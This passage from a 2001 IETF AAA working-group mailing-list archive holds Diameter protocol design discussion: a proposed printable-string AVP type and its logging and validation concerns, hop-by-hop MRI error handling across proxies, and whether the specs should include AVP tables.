[198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA13444 for ; Thu, 1 Feb 2001 17:41:25 -0500 (EST) Received: by segue.merit.edu (Postfix) id 538545DE83; Thu, 1 Feb 2001 17:41:05 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 379715DE05; Thu, 1 Feb 2001 17:41:05 -0500 (EST) Received: from ctron-dnm.ctron.com (ctron-dnm.cabletron.com [12.25.1.120]) by segue.merit.edu (Postfix) with ESMTP id 0A04F5DDB5 for ; Thu, 1 Feb 2001 17:41:04 -0500 (EST) Received: (from uucp@localhost) by ctron-dnm.ctron.com (8.8.7/8.8.7) id RAA07323 for ; Thu, 1 Feb 2001 17:46:54 -0500 (EST) Received: from cnc-exc1.ctron.com(134.141.77.96) by ctron-dnm.ctron.com via smap (4.1) id xma007306; Thu, 1 Feb 01 17:46:19 -0500 Received: by cnc-exc1.ctron.com with Internet Mail Service (5.5.2650.21) id ; Thu, 1 Feb 2001 17:40:27 -0500 Message-ID: From: "Nelson, David" To: aaa-wg@merit.edu Subject: RE: [AAA-WG]: OctetString type Date: Thu, 1 Feb 2001 17:40:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C08C9F.F8EF9174" Sender: owner-aaa-bof@merit.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C08C9F.F8EF9174 Content-Type: text/plain; charset="iso-8859-1" Dave Frascone writes... > So, can we have a pseudo-vote? Does anyone NOT want a printable-vs- > unprintable string type for AVPs? This seems reasonable to me. I thought we weren't supposed to let the data modeling efforts impact the on-the-wire protocol? I would not call printable string a complex type, any more than float is a complex type. Regards, Dave David B. Nelson, Software Architect Enterasys Networks, Inc. 50 Minuteman Road Andover, MA 01801-1008 Phone: (978) 684-1330 FAX: (978) 684-1368 E-mail: dnelson@enterasys.com ------_=_NextPart_001_01C08C9F.F8EF9174 Content-Type: text/html; charset="iso-8859-1" RE: [AAA-WG]: OctetString type

Dave Frascone writes...

> So, can we have a pseudo-vote?  Does anyone NOT want a printable-vs-
> unprintable string type for AVPs?

This seems reasonable to me.  I thought we weren't supposed to let the
data modeling efforts impact the on-the-wire protocol?  I would not
call printable string a complex type, any more than float is a complex
type.

Regards,

Dave

David B. Nelson, Software Architect
Enterasys Networks, Inc.
50 Minuteman Road
Andover, MA 01801-1008
Phone: (978) 684-1330  FAX: (978) 684-1368
E-mail: dnelson@enterasys.com
 

------_=_NextPart_001_01C08C9F.F8EF9174-- From owner-aaa-bof@merit.edu Thu Feb 1 17:41:46 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA13493 for ; Thu, 1 Feb 2001 17:41:46 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2A6115DE4D; Thu, 1 Feb 2001 17:41:20 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0CB145DE36; Thu, 1 Feb 2001 17:41:20 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 1132F5DE05 for ; Thu, 1 Feb 2001 17:41:18 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA08170; Thu, 1 Feb 2001 14:41:17 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA23940; Thu, 1 Feb 2001 14:41:16 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id OAA16687; Thu, 1 Feb 2001 14:41:15 -0800 (PST) Date: Thu, 1 Feb 2001 14:41:15 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Thoughts on the MRI To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, In the process of coding, and implementing certain error conditions (e.g. no route to realm), I have found that the use of the MRI is somewhat vague. I believe that the MRI should ONLY be used to return an error to the peer one hop away, and should not be a routable message. Let's say that a secret between two peers is broken, you wouldn't want the MRI message to make it back to the NAS, since it wouldn't know what to do with it. Similarly, if timestamps, or something else in the packet (e.g. version number) is bad, the NAS wouldn't be able to do anything about it. Therefore, I believe that I would like to add LOTS of clarifying text to the MRI section to state that this is for PEER to PEER errors (and define those errors separately). For end-to-end, a request's corresponding response is to be used. Does this make more sense? PatC From owner-aaa-bof@merit.edu Thu Feb 1 18:04:02 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA13954 for ; Thu, 1 Feb 2001 18:04:02 -0500 (EST) Received: by segue.merit.edu (Postfix) id B2EEE5DDB5; Thu, 1 Feb 2001 18:00:42 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 988775DECE; Thu, 1 Feb 2001 18:00:42 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id 075665DDB5 for ; Thu, 1 Feb 2001 18:00:41 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f11N0Bs66962; Thu, 1 Feb 2001 18:00:11 -0500 (EST) (envelope-from barney) Date: Thu, 1 Feb 2001 18:00:11 -0500 From: Barney Wolff To: Juergen Schoenwaelder , dave@frascone.com, aaa-wg@merit.edu Subject: Re: [AAA-WG]: OctetString type Message-ID: <20010201180011.B66741@mx.databus.com> References: <20010128221352.C1427@newman.frascone.com> <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de> <20010201114814.J20429@newman.frascone.com> <200102012211.XAA01438@henkell.ibr.cs.tu-bs.de> <20010201170816.C20429@newman.frascone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20010201170816.C20429@newman.frascone.com>; from dave@frascone.com on Thu, Feb 01, 2001 at 05:08:16PM -0600 Sender: owner-aaa-bof@merit.edu Precedence: bulk A cautious programmer will derive little benefit from an explicitly printable string, because one must verify anyway that the string is printable and not too long (the latter was less of a problem in the "good old days" of the 1-byte length field). But in the end I think it's a good idea, as an undifferentiated octet string is hard to process - do you always print it in ascii if it happens to all be ascii? What if it was an IP address or a binary key that just happened to look printable? In other words, to even attempt to print a value as a printable string, you have to know that it's supposed to be one. That sort of folklore should be in the dictionary, not in the code. It does not have to be on the wire, though. Barney Wolff On Thu, Feb 01, 2001 at 05:08:16PM -0600, David Frascone wrote: > All I was asking for was the distinction of OctetString and a PrintableString > type. > > Basically, so I'd know if it was safe to do a sprintf into a log string. It > wouldn't affect the transport at all, but it *would* add a type to the AVP > definitions. > > So, for example, the User-Name AVP would be of type String. > > Which would make a username of 0xdeadbabe illegal. > > But, it would allow me to do someting like: > > syslog(LOG_INFO, "Authentication successful for %*s", > userAvpDataStructure.dataLength); > userAvpDataStructure.data); > > So, it does affect the draft, and it does affect the dictionary, but it > does NOT affect the protocol, unless we worry about transmitting the > NULL (which is NOT what I'm asking for) > > So, can we have a psuedo-vote? Does anyone NOT want a printable-vs- > unprintable string type for AVPs? > > -Dave From owner-aaa-bof@merit.edu Thu Feb 1 18:10:49 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14070 for ; Thu, 1 Feb 2001 18:10:48 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1BCA85DE99; Thu, 1 Feb 2001 18:10:31 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0C4A95DE36; Thu, 1 Feb 2001 18:10:30 -0500 (EST) Received: from mumm.ibr.cs.tu-bs.de (mumm.ibr.cs.tu-bs.de [134.169.34.190]) by segue.merit.edu (Postfix) with ESMTP id 77A355DE05 for ; Thu, 1 Feb 2001 18:10:29 -0500 (EST) Received: from henkell.ibr.cs.tu-bs.de (schoenw@henkell [134.169.34.191]) by mumm.ibr.cs.tu-bs.de (8.9.3/8.9.3) with ESMTP id AAA29772; Fri, 2 Feb 2001 00:10:28 +0100 (MET) Received: from schoenw@localhost by henkell.ibr.cs.tu-bs.de (8.7.6/tubsibr) id AAA01789; Fri, 2 Feb 2001 00:10:28 +0100 Date: Fri, 2 Feb 2001 00:10:28 +0100 Message-Id: <200102012310.AAA01789@henkell.ibr.cs.tu-bs.de> From: Juergen Schoenwaelder To: dave@frascone.com Cc: aaa-wg@merit.edu In-reply-to: <20010201170816.C20429@newman.frascone.com> (message from David Frascone on Thu, 1 Feb 2001 17:08:16 -0600) Subject: Re: [AAA-WG]: OctetString type References: <20010128221352.C1427@newman.frascone.com> <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de> <20010201114814.J20429@newman.frascone.com> <200102012211.XAA01438@henkell.ibr.cs.tu-bs.de> <20010201170816.C20429@newman.frascone.com> Sender: owner-aaa-bof@merit.edu Precedence: bulk >>>>> David Frascone writes: David> All I was asking for was the distinction of OctetString and a David> PrintableString type. Which is OK if it is done right. ;-) David> Basically, so I'd know if it was safe to do a sprintf into a David> log string. It wouldn't affect the transport at all, but it David> *would* add a type to the AVP definitions. David> So, for example, the User-Name AVP would be of type String. David> Which would make a username of 0xdeadbabe illegal. David> But, it would allow me to do someting like: David> syslog(LOG_INFO, "Authentication successful for %*s", David> userAvpDataStructure.dataLength); userAvpDataStructure.data); David> So, it does affect the draft, and it does affect the David> dictionary, but it does NOT affect the protocol, unless we David> worry about transmitting the NULL (which is NOT what I'm asking David> for) Once again, there are two potential bugs here. First, the assumption that printable is indeed printable. I can send you UTF-8 printable strings that will make your syslog files read look really nice. Second, there is no reason to assume that the actual data you got is printable just because some spec says its printable. So you need to check the octets anyway to be on the safe side. David> So, can we have a psuedo-vote? Does anyone NOT want a David> printable-vs- unprintable string type for AVPs? Are you American? Still proposing to vote? :-) /js -- Juergen Schoenwaelder Technical University Braunschweig Dept. Operating Systems & Computer Networks Phone: +49 531 391 3289 Bueltenweg 74/75, 38106 Braunschweig, Germany Fax: +49 531 391 5936 From owner-aaa-bof@merit.edu Thu Feb 1 18:22:31 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14279 for ; Thu, 1 Feb 2001 18:22:31 -0500 (EST) Received: by segue.merit.edu (Postfix) id 119F25DE9A; Thu, 1 Feb 2001 18:22:15 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id F420A5DE36; Thu, 1 Feb 2001 18:22:14 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 96BD35DE05 for ; Thu, 1 Feb 2001 18:22:13 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA15136; Thu, 1 Feb 2001 15:22:13 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA02965; Thu, 1 Feb 2001 15:22:08 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id PAA17317; Thu, 1 Feb 2001 15:21:59 -0800 (PST) Date: Thu, 1 Feb 2001 15:21:58 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Thoughts on the MRI To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Just to re-inforce the message, let me state another example. NAS---->ProxyA----->HomeServerA | |-------->HomeServerB NAS Send a request to ProxyA, which is forwarded to HomeServerA. HomeServerA does not support the extension (but it would if it was active as a proxy -- see previous mail from Barney), and therefore returns a DIAMETER_UNSUPPORTED_EXTENSION error back to ProxyA. If this was a result code, in the appropriate response command code, it would be returned to NAS, which wouldn't be able to do anything with it. However, if it is an MRI, it would indicate to ProxyA that another server within the same domain should be tried. Here's another example. +----> Redirect Server | NAS----->ProxyA------>HomeServerA In this case, ProxyA forwards the request to the Redirect Server, which returns a redirect indication. Now, if this would be in the normal request's response message, it would be forwarded to the NAS, which would deny access to the user because of an error (or realize it is a redirect, and attempt to talk to the home server). A good implementation would do the latter, but it is possible that some NASes not be allowed to talk directly to home servers. However, if the redirect is returned in an MRI, then ProxyA would know to take action, notice the redirect, and do what's necessary. Hopefully the above examples will provide enough justification for hop-by-hop error handling. PatC > All, > > In the process of coding, and implementing certain error conditions (e.g. no > route to realm), I have found that the use of the MRI is somewhat vague. > > I believe that the MRI should ONLY be used to return an error to the peer one > hop away, and should not be a routable message. > > Let's say that a secret between two peers is broken, you wouldn't want the > MRI message to make it back to the NAS, since it wouldn't know what to do > with it. > > Similarly, if timestamps, or something else in the packet (e.g. version > number) is bad, the NAS wouldn't be able to do anything about it. > > Therefore, I believe that I would like to add LOTS of clarifying text to the > MRI section to state that this is for PEER to PEER errors (and define those > errors separately). > > For end-to-end, a request's corresponding response is to be used. > > Does this make more sense? > > PatC > > From owner-aaa-bof@merit.edu Thu Feb 1 18:40:23 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14610 for ; Thu, 1 Feb 2001 18:40:22 -0500 (EST) Received: by segue.merit.edu (Postfix) id D083F5DEB9; Thu, 1 Feb 2001 18:40:08 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BA7875DEA3; Thu, 1 Feb 2001 18:40:08 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id E46855DE08 for ; Thu, 1 Feb 2001 18:40:05 -0500 (EST) Received: (qmail 24309 invoked by uid 500); 2 Feb 2001 00:14:54 -0000 Date: Thu, 1 Feb 2001 18:14:54 -0600 From: David Frascone To: Juergen Schoenwaelder Cc: dave@frascone.com, aaa-wg@merit.edu Subject: Re: [AAA-WG]: OctetString type Message-ID: <20010201181454.D20429@newman.frascone.com> Mail-Followup-To: Juergen Schoenwaelder , dave@frascone.com, aaa-wg@merit.edu References: <20010128221352.C1427@newman.frascone.com> <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de> <20010201114814.J20429@newman.frascone.com> <200102012211.XAA01438@henkell.ibr.cs.tu-bs.de> <20010201170816.C20429@newman.frascone.com> <200102012310.AAA01789@henkell.ibr.cs.tu-bs.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200102012310.AAA01789@henkell.ibr.cs.tu-bs.de>; from schoenw@ibr.cs.tu-bs.de on Fri, Feb 02, 2001 at 12:10:28AM +0100 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk I am assuming (perhaps incorrectly?) that the implementers know how to write code and check for error conditions. But, if I have no idea whether something is printable, I guess I can simply check (as someone suggested earlier) So, I get some random blob of data, and starting doing my version of an isprint on the string, and low and behold, it's printable. So, I output the data: 01-FEB-2001 05:15:23 GMT diameterd Received printable data: Avp NONCE, data "A8p#I3(*@#m%*j#3^&" I think having a String type makes a little more sense. Even if a malicious/ buggy implementation might abuse it. -Dave On Fri, Feb 02, 2001 at 12:10:28AM +0100, Juergen Schoenwaelder wrote: > > >>>>> David Frascone writes: > > David> All I was asking for was the distinction of OctetString and a > David> PrintableString type. > > Which is OK if it is done right. ;-) > > David> Basically, so I'd know if it was safe to do a sprintf into a > David> log string. It wouldn't affect the transport at all, but it > David> *would* add a type to the AVP definitions. > > David> So, for example, the User-Name AVP would be of type String. > > David> Which would make a username of 0xdeadbabe illegal. > > David> But, it would allow me to do someting like: > > David> syslog(LOG_INFO, "Authentication successful for %*s", > David> userAvpDataStructure.dataLength); userAvpDataStructure.data); > > David> So, it does affect the draft, and it does affect the > David> dictionary, but it does NOT affect the protocol, unless we > David> worry about transmitting the NULL (which is NOT what I'm asking > David> for) > > Once again, there are two potential bugs here. First, the assumption > that printable is indeed printable. I can send you UTF-8 printable > strings that will make your syslog files read look really nice. > Second, there is no reason to assume that the actual data you got is > printable just because some spec says its printable. So you need to > check the octets anyway to be on the safe side. > > David> So, can we have a psuedo-vote? Does anyone NOT want a > David> printable-vs- unprintable string type for AVPs? > > Are you American? Still proposing to vote? :-) > > /js > > -- > Juergen Schoenwaelder Technical University Braunschweig > Dept. Operating Systems & Computer Networks > Phone: +49 531 391 3289 Bueltenweg 74/75, 38106 Braunschweig, Germany > Fax: +49 531 391 5936 > > From owner-aaa-bof@merit.edu Thu Feb 1 19:36:17 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA15494 for ; Thu, 1 Feb 2001 19:36:16 -0500 (EST) Received: by segue.merit.edu (Postfix) id 67E145DE08; Thu, 1 Feb 2001 19:36:00 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 583425DE05; Thu, 1 Feb 2001 19:36:00 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id E94225DDB4 for ; Thu, 1 Feb 2001 19:35:58 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA04260; Thu, 1 Feb 2001 16:35:56 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA16014; Thu, 1 Feb 2001 16:32:10 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id QAA18399; Thu, 1 Feb 2001 16:32:00 -0800 (PST) Date: Thu, 1 Feb 2001 16:32:00 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Table vs. command definitions To: aaa-wg@merit.edu Cc: Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, I have thought about having a table some more, and actually tried to create the table in the specs. Unfortunately, it isn't *quite* that simple. Let us assume for the moment that I am working on the base spec. I can defined the AVPs in the table, and state which command (defined in *that* spec) they may, or may not, be present. However, what do I do when I get to the Mobile IP extension? Here is an analogy. The RADIUS spec contains the table, and whether each attribute may be present in the access-* or not. The accounting one has it's own attributes, but the table also includes the attributes defined in the authentication/authorization spec. This is necessary because an incomplete table is worthless. Back to the Mobile IP extension. A table in that extension will require that I pull in AVPs from: 1. base protocol 2. Strong Crypto 3. Accounting 4. Resource Managemnt This will make a REALLY big table. Less than this is useless, and the SAME problem exists for the NASREQ extension. The alternative is to add ALL of the NASREQ and Mobile IP AVps into the Accounting, Strong Crypto and Resource Management extensions. Either way, it's ugly and evil So far Glen was in favor of tables, and I haven't heard anyone else in favor of tables. I would REALLY like to NOT include tables in the documents, and leave them as-is. Comments, PLEASE! (even those NOT in favor of tables!) Thanks, PatC From owner-aaa-bof@merit.edu Thu Feb 1 19:46:19 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA15597 for ; Thu, 1 Feb 2001 19:46:19 -0500 (EST) Received: by segue.merit.edu (Postfix) id 782205DDB4; Thu, 1 Feb 2001 19:45:06 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 44D705DE05; Thu, 1 Feb 2001 19:45:06 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id 3B41D5DDB4 for ; Thu, 1 Feb 2001 19:45:03 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f120ihg67336; Thu, 1 Feb 2001 19:44:43 -0500 (EST) (envelope-from barney) Date: Thu, 1 Feb 2001 19:44:43 -0500 From: Barney Wolff To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Thoughts on the MRI Message-ID: <20010201194443.A67228@mx.databus.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Thu, Feb 01, 2001 at 03:21:58PM -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk I'm not getting it. How would error-handling ever be end-to-end, other than by a proxy deciding that it's not profitable to retry to another server? Yes, a proxy is forbidden to turn a reject into an accept, but we can't stop a proxy from retrying to another server to which it can legally send the request. I can recount a case at a "large national ISP" where the proxy was instructed to do just that, because the primary server was the secondary for the user database, and a reject might mean that a new user's record had not propagated to it yet. So every reject was retried to the backup server. I don't claim that was sane and it was not my decision; management insisted. That's why we introduced (at least I think we did :) the distinction between transient and permanent reject codes, so the server can give a clue whether retry is a good bet. In the above case it would not have helped, but that was definitely an aberration. Barney On Thu, Feb 01, 2001 at 03:21:58PM -0800, Patrice Calhoun wrote: > > Hopefully the above examples will provide enough justification for hop-by-hop > error handling. From owner-aaa-bof@merit.edu Thu Feb 1 19:55:47 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA15703 for ; Thu, 1 Feb 2001 19:55:47 -0500 (EST) Received: by segue.merit.edu (Postfix) id 3F8405DE50; Thu, 1 Feb 2001 19:55:31 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 23B295DE38; Thu, 1 Feb 2001 19:55:31 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id E83945DE05 for ; Thu, 1 Feb 2001 19:55:29 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAB02025; Thu, 1 Feb 2001 16:55:27 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA19861; Thu, 1 Feb 2001 16:54:31 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id QAA18766; Thu, 1 Feb 2001 16:54:28 -0800 (PST) Date: Thu, 1 Feb 2001 16:54:29 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Thoughts on the MRI To: Barney Wolff Cc: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <20010201194443.A67228@mx.databus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Let me try again. Does it make sense to restrict the MRI message from being proxied? This means that the MRI would be a "server alert" sort-of message. An indication that the server receiving this has some work to do. A normal response, with a failure Result-Code, wouldn't really require that the proxy perform any local action. This is especially important for dumb proxies that just... route. However, having read your response, I see that there are some servers that actually take action when failures occur. I wasn't aware of this. ok, so my argument is limited to a small number of errors (e.g. MD5 on message failed, unsupported transform, timestamp bad, unsupported version, extension unsupported). These errors shouldn't be forwarded to the NAS. My point was that I wanted to make sure this is true, and it seemed that the MRI was the way to go. Do you have any other suggestions? PatC > I'm not getting it. How would error-handling ever be end-to-end, > other than by a proxy deciding that it's not profitable to retry > to another server? Yes, a proxy is forbidden to turn a reject > into an accept, but we can't stop a proxy from retrying to > another server to which it can legally send the request. > > I can recount a case at a "large national ISP" where the proxy > was instructed to do just that, because the primary server was > the secondary for the user database, and a reject might mean > that a new user's record had not propagated to it yet. So > every reject was retried to the backup server. I don't claim > that was sane and it was not my decision; management insisted. > > That's why we introduced (at least I think we did :) the distinction > between transient and permanent reject codes, so the server can > give a clue whether retry is a good bet. In the above case it > would not have helped, but that was definitely an aberration. > > Barney > > On Thu, Feb 01, 2001 at 03:21:58PM -0800, Patrice Calhoun wrote: > > > > Hopefully the above examples will provide enough justification for hop-by-hop > > error handling. From owner-aaa-bof@merit.edu Thu Feb 1 20:25:58 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA16579 for ; Thu, 1 Feb 2001 20:25:58 -0500 (EST) Received: by segue.merit.edu (Postfix) id 265825DE38; Thu, 1 Feb 2001 20:25:41 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0DB225DE19; Thu, 1 Feb 2001 20:25:41 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id 3B9615DE05 for ; Thu, 1 Feb 2001 20:25:39 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f121OMa67671; Thu, 1 Feb 2001 20:24:22 -0500 (EST) (envelope-from barney) Date: Thu, 1 Feb 2001 20:24:22 -0500 From: Barney Wolff To: Patrice Calhoun Cc: Barney Wolff , aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Thoughts on the MRI Message-ID: <20010201202422.A67610@mx.databus.com> References: <20010201194443.A67228@mx.databus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Thu, Feb 01, 2001 at 04:54:29PM -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk Well a proxy getting an MRI owes *some* response back to the NAS, unless it's retrying and that only delays the response. I certainly agree that relaying the MRI itself back is wrong. Isn't there a "trouble downstream" failure code/response? Barney On Thu, Feb 01, 2001 at 04:54:29PM -0800, Patrice Calhoun wrote: > Let me try again. > > Does it make sense to restrict the MRI message from being proxied? This means > that the MRI would be a "server alert" sort-of message. An indication that the > server receiving this has some work to do. A normal response, with a failure > Result-Code, wouldn't really require that the proxy perform any local action. > This is especially important for dumb proxies that just... route. > > However, having read your response, I see that there are some servers that > actually take action when failures occur. I wasn't aware of this. > > ok, so my argument is limited to a small number of errors (e.g. MD5 on message > failed, unsupported transform, timestamp bad, unsupported version, extension > unsupported). These errors shouldn't be forwarded to the NAS. My point was > that I wanted to make sure this is true, and it seemed that the MRI was the > way to go. > > Do you have any other suggestions? > > PatC > > I'm not getting it. How would error-handling ever be end-to-end, > > other than by a proxy deciding that it's not profitable to retry > > to another server? Yes, a proxy is forbidden to turn a reject > > into an accept, but we can't stop a proxy from retrying to > > another server to which it can legally send the request. > > > > I can recount a case at a "large national ISP" where the proxy > > was instructed to do just that, because the primary server was > > the secondary for the user database, and a reject might mean > > that a new user's record had not propagated to it yet. So > > every reject was retried to the backup server. I don't claim > > that was sane and it was not my decision; management insisted. > > > > That's why we introduced (at least I think we did :) the distinction > > between transient and permanent reject codes, so the server can > > give a clue whether retry is a good bet. In the above case it > > would not have helped, but that was definitely an aberration. > > > > Barney > > > > On Thu, Feb 01, 2001 at 03:21:58PM -0800, Patrice Calhoun wrote: > > > > > > Hopefully the above examples will provide enough justification for hop-by-hop > > > error handling. > > > > From owner-aaa-bof@merit.edu Thu Feb 1 20:50:11 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA16900 for ; Thu, 1 Feb 2001 20:50:11 -0500 (EST) Received: by segue.merit.edu (Postfix) id 477E55DEE1; Thu, 1 Feb 2001 20:49:21 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 28E6D5DEC7; Thu, 1 Feb 2001 20:49:21 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id D2D0B5DE3B for ; Thu, 1 Feb 2001 20:49:19 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA01912; Thu, 1 Feb 2001 17:48:00 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA17027; Thu, 1 Feb 2001 17:47:59 -0800 (PST) Received: from darius (darius.Eng.Sun.COM 